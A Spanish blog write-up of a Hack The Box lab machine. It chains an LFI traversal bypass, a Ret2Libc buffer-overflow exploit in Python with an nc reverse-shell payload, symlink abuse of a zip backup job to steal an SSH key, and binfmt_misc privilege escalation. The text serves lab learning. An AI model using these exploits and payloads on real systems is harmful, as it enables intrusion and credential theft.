Imagen del post

Resumen

Esta máquina ha sido de las más duras que he hecho. La parte de explotación se apoya en un stack-based buffer overflow y, siendo sinceros, no soy muy fan del buffer overflow, así que me obligó a ir con mucho más cuidado de lo normal.

A grandes rasgos, la intrusión va así:

  • Enumeración web y descubrimiento de un LFI en page= usando php://filter.
  • Bypass del filtro de path traversal por cómo usan str_replace.
  • Descubrimiento de un servicio interno que procesa licencias y que es vulnerable a BOF.
  • Explotación con Ret2Libc (por NX) y obtención de reverse shell.
  • Escalada a dev abusando de un backup service con zip.
  • Escalada a root abusando de binfmt_misc mediante un helper con cap_dac_override.

Enumeración inicial

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   3072 77:b2:16:57:c2:3c:10:bf:20:f1:62:76:ea:81:e4:69 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkfdfWGso2b9nD1yYlcq35Rrc1OCqcabTsuKoIlCXMayYEXqqWVohwu+rXyX06gzGR4EYp/fvb1BUo7n819iCzKhFjf2W2RHWfBne9TpRShBtQJ95oQhM6djuEahYzOTWiO1wTYqMdZQwANin/HXPIu2i+KoeeeOPL6g0qE2e4pMKI+BDo4SteVObt3ssP5NLTmNOSqVqKoFnUTNNnyqlwcbO67tRVINku2Kc6LH/HV0XBGjVqMmwfz3MokaBmAqTpn2td6x7CKcPRfiRgIB5AqkePgqHZl8Wn+TdsG6gziPJ6+NVcvadMJ2ErsJLuchds0ZNToG3P879UTFUrF9Qn+Z0TiTN7X0FgbOGG6u7iaN/r4NP0t2qmp2rS+se+Q/j21T4jBFJOXxqjRWQvGfayIKic4Enkxwv5WvAd3uNm9R/WEIxf7Ol0eMK39fUdfElOTViPNOyW/vT6gA9DxcBZM/X1xPgC1XqNKs0mdA1cZY34BQVffDQ2carfW9JzBb8=
|   256 cb:09:2a:1b:b9:b9:65:75:94:9d:dd:ba:11:28:5b:d2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKT7918Wsxx40zkqP9APcaPrC5DXZf5yJdrTvgykTvijs34VtZ+QnelzftO5kayBMgNgnOe1e6lj/VKK4l+38OU=
|   256 0d:40:f0:f5:a8:4b:63:29:ae:08:a1:66:c1:26:cd:6b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOvB+7fNvrbSjtwto1GCaTWqRasmSlmx+oz5dveP8m5/
80/tcp open  http    syn-ack ttl 63 nginx
| http-title: Agency - Start Bootstrap Theme
|_Requested resource was /index.php?page=default.html
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods: 
|_  Supported Methods: GET HEAD POST
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Imagen del post

En la web, por defecto no hay mucho, así que toca hacer fuzzing.

Fuzzing y descubrimiento de beta.html

Encontramos un beta.html en el fuzzing de directorios.

gobuster dir -u 
http://10.129.71.227
 -w /usr/share/dirb/wordlists/common.txt -x php,html -q
/assets               (Status: 301) [Size: 162] [--> 
http://10.129.71.227/assets/
]

/beta.html            (Status: 200) [Size: 4144]
/css                  (Status: 301) [Size: 162] [--> 
http://10.129.71.227/css/
]
/default.html         (Status: 200) [Size: 11414]

Imagen del post

LFI en page= con php://filter

Vemos que en el endpoint principal hay un parámetro modificable page=. El comportamiento sugiere LFI usando php://filter/read=convert.base64-encode/resource=....

Imagen del post

Al leer default.html en Base64, simplemente decodificando obtenemos el contenido en texto claro.

Hay un filtro que intenta evitar el típico ../.., pero se puede bypassear con doble barra ..//...

Imagen del post

Intento de Log Poisoning (no viable)

Probamos log poisoning leyendo:

  • php://filter/read=convert.base64-encode/resource=/var/log/nginx/access.log
  • php://filter/read=convert.base64-encode/resource=/var/log/nginx/error.log

Pero no funciona, porque la función no interpreta PHP, solo devuelve el archivo literalmente.

Bypass del filtro (por str_replace no recursivo)

Aquí está el problema.

Imagen del post

  • Esto busca la cadena ../ y la elimina.
  • La vulnerabilidad: str_replace no es recursivo. Solo lo hace una vez.
  • El bypass: si se envía ....//, el sistema elimina los dos caracteres del medio (../) y une los extremos, creando un nuevo ../ que el sistema ya no revisa.

Imagen del post

Archivos interesantes vía LFI

Con el LFI ya podemos extraer rutas/configuraciones. Por ejemplo:

nginx.conf 


user www-data;
worker_processes auto;
pid /run/
nginx.pid
;
include /etc/nginx/modules-enabled/*.conf;

events {
        worker_connections 768;
}

http {
        sendfile on;
        tcp_nopush on;
        types_hash_max_size 2048;
        server_tokens off;

        server_names_hash_bucket_size 64;
        server_name_in_redirect off;

        include /etc/nginx/mime.types;
        default_type application/octet-stream;

        access_log /var/log/nginx/access.log;
        error_log /var/log/nginx/error.log;

        gzip on;

        include /etc/nginx/conf.d/*.conf;
        include /etc/nginx/sites-enabled/*;
}

Y también /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
_chrony:x:105:112:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
vagrant:x:1000:1000::/vagrant:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
dev:x:1001:1001::/home/dev:/bin/bash

Users: www-data, vagrant

RFI (no viable)

Probamos con un RFI, pero no ejecuta.

Imagen del post

Fuzzing de archivos sensibles

──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u 
http://previous.htb/index.php?page=php://filter/read=convert.base64-encode/resource=..//..//..//..//..//FUZZ
 -fs 0                      


..%2F..%2F..%2F%2F..%2F..%2Fetc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 27ms]
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 28ms]
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 56ms]
/etc/apt/sources.list   [Status: 200, Size: 632, Words: 1, Lines: 1, Duration: 31ms]
/etc/crontab            [Status: 200, Size: 1392, Words: 1, Lines: 1, Duration: 26ms]
/etc/fstab              [Status: 200, Size: 436, Words: 1, Lines: 1, Duration: 32ms]
/etc/group              [Status: 200, Size: 940, Words: 1, Lines: 1, Duration: 26ms]
../../../../../../../../../../../../etc/hosts [Status: 200, Size: 208, Words: 1, Lines: 1, Duration: 30ms]
/etc/hosts              [Status: 200, Size: 208, Words: 1, Lines: 1, Duration: 31ms]
/etc/hosts.deny         [Status: 200, Size: 948, Words: 1, Lines: 1, Duration: 72ms]
/etc/hosts.allow        [Status: 200, Size: 548, Words: 1, Lines: 1, Duration: 73ms]
/etc/netconfig          [Status: 200, Size: 1024, Words: 1, Lines: 1, Duration: 37ms]
/etc/motd               [Status: 200, Size: 384, Words: 1, Lines: 1, Duration: 42ms]
/etc/issue              [Status: 200, Size: 36, Words: 1, Lines: 1, Duration: 45ms]
/etc/nsswitch.conf      [Status: 200, Size: 680, Words: 1, Lines: 1, Duration: 45ms]
/./././././././././././etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 40ms]
/etc/passwd             [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 28ms]
../../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 26ms]
../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 26ms]
../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 27ms]
../../../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 27ms]
../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 26ms]
../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 27ms]
/../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 31ms]
../../../../../../../../../../../../../../../etc/passwd [Status:  200, Size: 1984, Words: 1, Lines: 1, Duration: 30ms]
../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 29ms]
../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 31ms]
../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 29ms]
../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 42ms]
../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 42ms]
../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 42ms]
../../../../etc/passwd  [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 43ms]
../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 43ms]
../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 43ms]
../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 43ms]
../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 44ms]
../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 45ms]
../../../etc/passwd     [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 49ms]
../etc/passwd           [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 46ms]
../../etc/passwd        [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 46ms]
etc/passwd              [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 48ms]
../../../../../../etc/passwd&=%3C%3C%3C%3C [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 27ms]
/etc/rpc                [Status: 200, Size: 1184, Words: 1, Lines: 1, Duration: 26ms]
/etc/resolv.conf        [Status: 200, Size: 52, Words: 1, Lines: 1, Duration: 26ms]
/etc/ssh/sshd_config    [Status: 200, Size: 4452, Words: 1, Lines: 1, Duration: 26ms]
/proc/net/dev           [Status: 200, Size: 600, Words: 1, Lines: 1, Duration: 32ms]
/proc/net/arp           [Status: 200, Size: 208, Words: 1, Lines: 1, Duration: 37ms]
/proc/cpuinfo           [Status: 200, Size: 3040, Words: 1, Lines: 1, Duration: 41ms]
/proc/mounts            [Status: 200, Size: 1956, Words: 1, Lines: 1, Duration: 41ms]
/proc/interrupts        [Status: 200, Size: 5576, Words: 1, Lines: 1, Duration: 41ms]
/proc/loadavg           [Status: 200, Size: 36, Words: 1, Lines: 1, Duration: 41ms]
/proc/meminfo           [Status: 200, Size: 1892, Words: 1, Lines: 1, Duration: 41ms]
/proc/net/route         [Status: 200, Size: 512, Words: 1, Lines: 1, Duration: 26ms]
/proc/net/tcp           [Status: 200, Size: 8800, Words: 1, Lines: 1, Duration: 26ms]
/proc/self/cmdline      [Status: 200, Size: 104, Words: 1, Lines: 1, Duration: 39ms]
/proc/partitions        [Status: 200, Size: 156, Words: 1, Lines: 1, Duration: 42ms]
/proc/self/status       [Status: 200, Size: 1780, Words: 1, Lines: 1, Duration: 39ms]
/proc/version           [Status: 200, Size: 248, Words: 1, Lines: 1, Duration: 39ms]
/var/log/lastlog        [Status: 200, Size: 390112, Words: 1, Lines: 1, Duration: 29ms]
/var/log/wtmp           [Status: 200, Size: 15360, Words: 1, Lines: 1, Duration: 25ms]
/var/run/utmp           [Status: 200, Size: 1536, Words: 1, Lines: 1, Duration: 26ms]
///////../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 25ms]

Activación de licencia y servicio interno

Conseguimos el código de beta.html y vemos un formulario que “activa la licencia”.

Imagen del post

El formulario envía información a un puerto local. Esto apunta a un binario/servicio que recibe y procesa ese “licensefile”.

cat activate_liscence.php                                                                
<?php
if(isset($_FILES['licensefile'])) {
    $license      = file_get_contents($_FILES['licensefile']['tmp_name']);
    $license_size = $_FILES['licensefile']['size'];

    $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
    if (!$socket) { echo "error socket_create()\n"; }

    if (!socket_connect($socket, '127.0.0.1', 1337)) {
        echo "error socket_connect()" . socket_strerror(socket_last_error()) . "\n";
    }

    socket_write($socket, pack("N", $license_size));
    socket_write($socket, $license);

    socket_shutdown($socket);
    socket_close($socket);
}
?>

Imagen del post

Efectivamente, el puerto está escuchando.

Imagen del post

Hacemos strings buscando credenciales, pero lo más relevante son referencias a sqlite3, y pinta a que aquí viene lo divertido: Buffer Overflow.

Protecciones del binario

Revisamos controles de seguridad.

Imagen del post

Esto indica que no podemos ejecutar código desde el stack (NX). También vemos que los canaries no están activados, así que es viable un stack-based buffer overflow.


Análisis en Ghidra: el bug

uint32_t msglen;
char buffer [512];
sVar2 = read(sockfd,&msglen,4);
if (sVar2 == -1) {
piVar3 = __errno_location();
pcVar4 = strerror(*piVar3);
error(pcVar4);
}
msglen = ntohl(msglen);
printf("[+] reading %d bytes\n",msglen);
sVar2 = read(sockfd,buffer,(ulong)msglen);

Este código es vulnerable porque msglen está controlado por el usuario. Si enviamos un tamaño mayor que 512, read() desbordará el buffer.

Para continuar, tenemos que identificar el offset hasta el Saved RIP (dirección de retorno). En x64, la dirección de retorno queda en la pila justo después de las variables locales, pero puede haber alineación, así que no asumimos que es exactamente 512.

Encontrar el offset con patrón

Usamos gdb y un patrón.

pattern create 600

Imagen del post

El exploit para determinar el offset:

Imagen del post

El programa primero lee 4 bytes para saber cuánto mide el mensaje que vendrá después.

  • len(msg): calcula la longitud del patrón.
  • p32(...): empaqueta ese número en 4 bytes.
  • endian='big': coincide con el ntohl del C (network order = big endian).

Al principio explota porque falta una base de datos.

Imagen del post

Creamos una base de datos fake license.sqlite3 y ahora sí.

Imagen del post

pattern search $rsp

¿Por qué $rsp****? En x64, cuando se ejecuta RET, el procesador toma la dirección de retorno de donde apunta RSP. Como nosotros sobreescribimos la pila con el patrón, ese valor está ahí.

Imagen del post

Obtenemos un offset de 520.


Ret2Libc

Con NX activo, no podemos ejecutar shellcode en la pila. La alternativa es Ret2Libc: reutilizar funciones de libc (por ejemplo system()).

Por ASLR, libc cambia de dirección en cada ejecución, así que necesitamos filtrar las bases:

  • actbase: base del binario activate_license.
  • libcbase: base de la librería libc.

Para eso leemos /proc/<PID>/maps del proceso activate_license, y antes necesitamos el PID.

Imagen del post

Tenemos PID (419).

Imagen del post

  • activate_license → 55591a82b000
  • libc → 7ff574bbe000

Offset de system() en libc

Descargamos libc-2.31.so del servidor para analizarla.

curl http://10.129.227.96/index.php?page=a.....///.....///.....///.....///.....///.....///.....///usr/lib/x86_64-linux-gnu/libc-2.31.so -o libc-2.31.so

objdump nos permite localizar system (offset 0x00048e50).

Imagen del post

pop rdi; ret y zona escribible

En x64, el primer argumento de una función va en RDI, así que necesitamos un gadget pop rdi; ret.

┌──(root㉿kali)-[/home/…/Desktop/HTB/Retired/exploit]
└─# ropper -f ../loot/activate_license --search 'pop rdi; ret'
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret

[INFO] File: ../loot/activate_license
0x000000000000181b: pop rdi; ret;

Como no podemos dejar un comando largo “tal cual” en un registro, el enfoque es:

  1. Buscar una zona escribible (por ejemplo .data).
  2. Escribir ahí el comando en trozos.
  3. Llamar a system() apuntando a esa dirección.

Con rabin2 -S vemos secciones y permisos (por ejemplo .data es -rw-).

┌──(root㉿kali)-[/home/…/Desktop/HTB/Retired/exploit]
└─# rabin2 -S ../loot/activate_license

[Sections]

nth paddr        size vaddr       vsize perm type        name
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00000000    0x0 0x00000000    0x0 ---- NULL
1   0x000002a8   0x1c 0x000002a8   0x1c -r-- PROGBITS    .interp
2   0x000002c4   0x24 0x000002c4   0x24 -r-- NOTE        .
note.gnu.build
-id
3   0x000002e8   0x20 0x000002e8   0x20 -r-- NOTE        .note.ABI-tag
4   0x00000308   0x28 0x00000308   0x28 -r-- GNU_HASH    .gnu.hash
5   0x00000330  0x390 0x00000330  0x390 -r-- DYNSYM      .dynsym
6   0x000006c0  0x1cc 0x000006c0  0x1cc -r-- STRTAB      .dynstr
7   0x0000088c   0x4c 0x0000088c   0x4c -r-- GNU_VERSYM  .gnu.version
8   0x000008d8   0x30 0x000008d8   0x30 -r-- GNU_VERNEED .gnu.version_r
9   0x00000908   0xd8 0x00000908   0xd8 -r-- RELA        .rela.dyn
10  0x000009e0  0x2d0 0x000009e0  0x2d0 -r-- RELA        .rela.plt
11  0x00001000   0x17 0x00001000   0x17 -r-x PROGBITS    .init
12  0x00001020  0x1f0 0x00001020  0x1f0 -r-x PROGBITS    .plt
13  0x00001210    0x8 0x00001210    0x8 -r-x PROGBITS    .
plt.got

14  0x00001220  0x601 0x00001220  0x601 -r-x PROGBITS    .text
15  0x00001824    0x9 0x00001824    0x9 -r-x PROGBITS    .fini
16  0x00002000  0x18b 0x00002000  0x18b -r-- PROGBITS    .rodata
17  0x0000218c   0x4c 0x0000218c   0x4c -r-- PROGBITS    .eh_frame_hdr
18  0x000021d8  0x140 0x000021d8  0x140 -r-- PROGBITS    .eh_frame
19  0x00002cb8    0x8 0x00003cb8    0x8 -rw- INIT_ARRAY  .init_array
20  0x00002cc0    0x8 0x00003cc0    0x8 -rw- FINI_ARRAY  .fini_array
21  0x00002cc8  0x200 0x00003cc8  0x200 -rw- DYNAMIC     .dynamic
22  0x00002ec8  0x138 0x00003ec8  0x138 -rw- PROGBITS    .got
23  0x00003000   0x10 0x00004000   0x10 -rw- PROGBITS    .data
24  0x00003010    0x0 0x00004010    0x8 -rw- NOBITS      .bss
25  0x00003010   0x27 0x00000000   0x27 ---- PROGBITS    .comment
26  0x00003037   0x30 0x00000000   0x30 ---- PROGBITS    .debug_aranges
27  0x00003067  0x688 0x00000000  0x688 ---- PROGBITS    .debug_info
28  0x000036ef  0x1b9 0x00000000  0x1b9 ---- PROGBITS    .debug_abbrev
29  0x000038a8  0x28a 0x00000000  0x28a ---- PROGBITS    .debug_line
30  0x00003b32  0x577 0x00000000  0x577 ---- PROGBITS    .debug_str
31  0x000040b0  0x960 0x00000000  0x960 ---- SYMTAB      .symtab
32  0x00004a10  0x437 0x00000000  0x437 ---- STRTAB      .strtab
33  0x00004e47  0x13e 0x00000000  0x13e ---- STRTAB      .shstrtab

Exploit

#!/usr/bin/python3
from sys import argv
from pwn import *
import requests

# Esta función realiza todo el ataque
def perform_rce(rhost, lhost):
    # --- 1. DIRECCIONES BASE (ASLR) ---
    # Dirección base donde se cargó el programa "activate_license"
    # (Coincide con la primera línea de /proc/maps)
    actbase = 0x561afcc08000 
    
    # Dirección base donde se cargó la librería "libc"
    # (Coincide con la línea de libc-2.31.so en /proc/maps)
    libcbase = 0x7fc7d4c5c000 

    print(f"[+] ActBase: {hex(actbase)}")
    print(f"[+] LibcBase: {hex(libcbase)}")

    # --- 2. GADGETS (HERRAMIENTAS DE ROP) ---
    # Son instrucciones pequeñas que ya existen en el programa/libc.
    
    # Gadget en el binario principal 
    # Sirve para poner el primer argumento de una función (RDI)
    pop_rdi = p64(actbase + 0x0000181b) # pop rdi; ret;
    
    # Gadget en Libc: Sirve para poner el segundo argumento (RDX)
    # Lo usamos como "mochila" para llevar los trozos de nuestro comando
    pop_rdx = p64(libcbase + 0x000cb1cd) # pop rdx; ret;
    
    # Gadget en Libc: LA CLAVE. Mueve lo de la mochila (RDX) a la memoria (RDI)
    mov_gadget = p64(libcbase + 0x0003ace5) # mov qword ptr [rdi], rdx; ret;

    # Dirección de la función system() en Libc
    system_addr = p64(libcbase + 0x00048e50)

    # --- 3. ZONA ESCRIBIBLE ---
    # Offset 0x4000 sacado de rabin2 (Sección .data)
    # Aquí es donde escribiremos nuestro comando malicioso byte a byte.
    writable = actbase + 0x00004000
    
    # Offset del Buffer Overflow (confirmado previamente como 520)
    offset = 520 

    # --- 4. PREPARAR EL COMANDO (PAYLOAD) ---
    # Creamos el comando de reverse shell.
    # Usamos mkfifo porque funciona en casi cualquier Linux, tenga bash o sh.
    cmd = f"rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} 4444>/tmp/f".encode()
    
    # Añadimos un byte nulo (\x00) al final porque en C las cadenas terminan así.
    cmd += b"\x00"
    
    # Rellenamos con ceros hasta que la longitud sea múltiplo de 8
    # (Necesario porque en 64 bits escribimos de 8 en 8 bytes)
    if len(cmd) % 8 != 0:
        cmd += b"\x00" * (8 - (len(cmd) % 8))

    # --- 5. CONSTRUCCIÓN DE LA ROP CHAIN ---
    rop = b''
    rop += b'A' * offset # Relleno basura hasta llegar al RIP (Instruction Pointer)

    # BUCLE DE ESCRITURA (Write-What-Where)
    # Divide el comando en trozos de 8 bytes y los escribe en la memoria .data
    for i in range(0, len(cmd), 8):
        chunk = cmd[i:i+8]            # Coger 8 letras del comando
        
        # Paso A: Decirle DÓNDE escribir (RDI = dirección .data + desplazamiento)
        rop += pop_rdi
        rop += p64(writable + i)
        
        # Paso B: Decirle QUÉ escribir (RDX = las 8 letras)
        rop += pop_rdx
        rop += chunk.ljust(8, b"\x00")
        
        # Paso C: Ejecutar la escritura (Mover RDX dentro de [RDI])
        rop += mov_gadget

    # --- 6. EJECUCIÓN FINAL ---
    # Ahora que el comando está escrito en la memoria 'writable', lo ejecutamos.
    
    rop += pop_rdi          # Poner en RDI la dirección donde escribimos el comando
    rop += p64(writable)
    
    rop += system_addr      # Llamar a system() -> system("tu_comando")

    # --- 7. EMPAQUETADO Y ENVÍO ---
    # Guardamos el ROP en un archivo
    filename = 'revshell.key'
    with open(filename, 'wb') as f:
        f.write(rop)

    print(f"[+] Payload generado en {filename}")
    print(f"[+] Enviando petición a http://{rhost}/activate_license.php ...")

    # Preparamos la subida del archivo tal como lo espera el PHP
    files = {
        "licensefile": (filename, open(filename, "rb"), 'application/octet-stream')
    }
    
    try:
        # Enviamos el POST. El PHP leerá el archivo y activará el buffer overflow.
        requests.post(f"http://{rhost}/activate_license.php", files=files)
        print("[+] Exploit enviado. ¡Revisa tu listener (nc -lvnp 7777)!")
    except Exception as e:
        print(f"[-] Error enviando exploit: {e}")

# Punto de entrada del script
if __name__ == "__main__":
    if len(argv) < 3:
        print(f"Uso: python3 {argv[0]} <RHOST> <LHOST>")
        print("Ejemplo: python3 exploit.py 10.129.227.96 10.10.15.44")
        exit(1)
        
    perform_rce(argv[1], argv[2])

Tenemos reverse shell.

Imagen del post


Escalada a dev vía servicio de backups

Enumerando en busca de credenciales (queremos acceso a dev), en /var/www vemos .zip que parecen backups. No hay mucho directo, pero hay timers configurados.

Imagen del post

Nos llama la atención el backup service, porque se ejecuta como dev.

Imagen del post

El script:

www-data@retired:/var/www$ cat /usr/bin/webbackup
#!/bin/bash
set -euf -o pipefail

cd /var/www/

SRC=/var/www/html
DST="/var/www/$(date +%Y-%m-%d_%H-%M-%S)-html.zip"

/usr/bin/rm --force -- "$DST"
/usr/bin/zip --recurse-paths "$DST" "$SRC"

KEEP=10
/usr/bin/find /var/www/ -maxdepth 1 -name '*.zip' -print0 \
    | sort --zero-terminated --numeric-sort --reverse \
    | while IFS= read -r -d '' backup; do
        if [ "$KEEP" -le 0 ]; then
            /usr/bin/rm --force -- "$backup"
        fi
        KEEP="$((KEEP-1))"
    done

La idea es aprovechar cómo zip trata enlaces simbólicos cuando corre como dev:

  1. El sistema arranca el script como el usuario dev.
  2. zip empieza a comprimir /var/www/html.
  3. zip se encuentra con un enlace simbólico.
  4. El comportamiento por defecto de zip es seguir enlaces simbólicos y archivar el destino.
  5. Como el script corre como dev, tiene permisos de lectura sobre /home/dev.
  6. El .zip generado en /var/www/ puede incluir ficheros de dev.

Creamos el symlink. No me ha funcionado apuntando a todo /home/dev, así que apuntamos directamente a la clave SSH.

ln -s /home/dev/.ssh/id_rsa ssh_key.txt


unzip 2026-01-16_11-06-06-html.zip 

Archive:  2026-01-16_11-06-06-html.zip

....  
  inflating: var/www/html/ssh_key.txt  
....

Con esto conseguimos user flag.

Imagen del post


Escalada a root: binfmt_misc + capabilities

En el directorio de dev encontramos un proyecto en C.

Imagen del post

emuemu.c:

dev@retired:~/emuemu$ cat emuemu.c 
#include <stdio.h>

/* currently this is only a dummy implementation doing nothing */

int main(void) {
    puts("EMUEMU is still under development.");
    return 1;
}

Y otro archivo que permite escribir en binfmt_misc/register.

dev@retired:~/emuemu$ cat reg_helper.c 
#define _GNU_SOURCE

#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

int main(void) {
    char cmd[512] = { 0 };

    read(STDIN_FILENO, cmd, sizeof(cmd)); cmd[-1] = 0;

    int fd = open("/proc/sys/fs/binfmt_misc/register", O_WRONLY);
    if (-1 == fd)
        perror("open");
    if (write(fd, cmd, strnlen(cmd,sizeof(cmd))) == -1)
        perror("write");
    if (close(fd) == -1)
        perror("close");

    return 0;
}

Encontramos la idea en “HackTricks”:

/proc/sys/fs/binfmt_misc
/proc/sys/fs/binfmt_misc allows executing miscellaneous binary formats, which typically means various interpreters can be registered for non-native binary formats (such as Java) based on their magic number. You can make the kernel execute a binary registering it as handlers.
You can find an exploit in https://github.com/toffan/binfmt_misc: Poor man's rootkit, leverage binfmt_misc's credentials option to escalate privilege through any suid binary (and to get a root shell) if /proc/sys/fs/binfmt_misc/register is writeable.

Del Makefile se ve que reg_helper se instala en /usr/lib/emuemu y recibe cap_dac_override, permitiendo escribir en el register.

dev@retired:~/emuemu$ cat Makefile 
CC := gcc
CFLAGS := -std=c99 -Wall -Werror -Wextra -Wpedantic -Wconversion -Wsign-conversion

SOURCES := $(wildcard *.c)
TARGETS := $(SOURCES:.c=)

.PHONY: install clean

install: $(TARGETS)
        @echo "[+] Installing program files"
        install --mode 0755 emuemu /usr/bin/
        mkdir --parent --mode 0755 /usr/lib/emuemu /usr/lib/binfmt.d
        install --mode 0750 --group dev reg_helper /usr/lib/emuemu/
        setcap cap_dac_override=ep /usr/lib/emuemu/reg_helper

        @echo "[+] Register OSTRICH ROMs for execution with EMUEMU"
        echo ':EMUEMU:M::\x13\x37OSTRICH\x00ROM\x00::/usr/bin/emuemu:' \
                | tee /usr/lib/binfmt.d/emuemu.conf \
                | /usr/lib/emuemu/reg_helper

clean:
        rm -f -- $(TARGETS)

Confirmamos que existe, es ejecutable por el grupo dev y tiene cap_dac_override.

Imagen del post

Según la documentación del kernel: Kernel Support for miscellaneous Binary Formats (binfmt_misc) — The Linux Kernel documentation

Para registrar un tipo nuevo hay que escribir una cadena con este formato:

:name:type:offset:magic:mask:interpreter:flags

El flag que nos interesa:

  • C - credentials

    Cuando se incluye, las credenciales se calculan según el binario. Implica O, y si se combina con setuid root, el intérprete puede ejecutarse con privilegios elevados.

La idea es registrar una entrada con C para que se ejecute como root.

Creamos un binario que asigna permisos laxos a /bin/bash para explotar el comportamiento, y lo usamos como intérprete.

Imagen del post

Lo compilamos:

gcc -o root root.c

Buscamos un binario SUID root para disparar la ejecución.

dev@retired:~/emuemu$ find / -user root -perm -4000 -executable 2>/dev/null
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/fusermount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/mount
/usr/bin/umount
/usr/lib/openssh/ssh-keysign

Podemos usar cualquiera de estos ejecutables.

Con la flag E podemos registrar por extensión.

  • type es el tipo de reconocimiento. M para magic y E para extension.

Imagen del post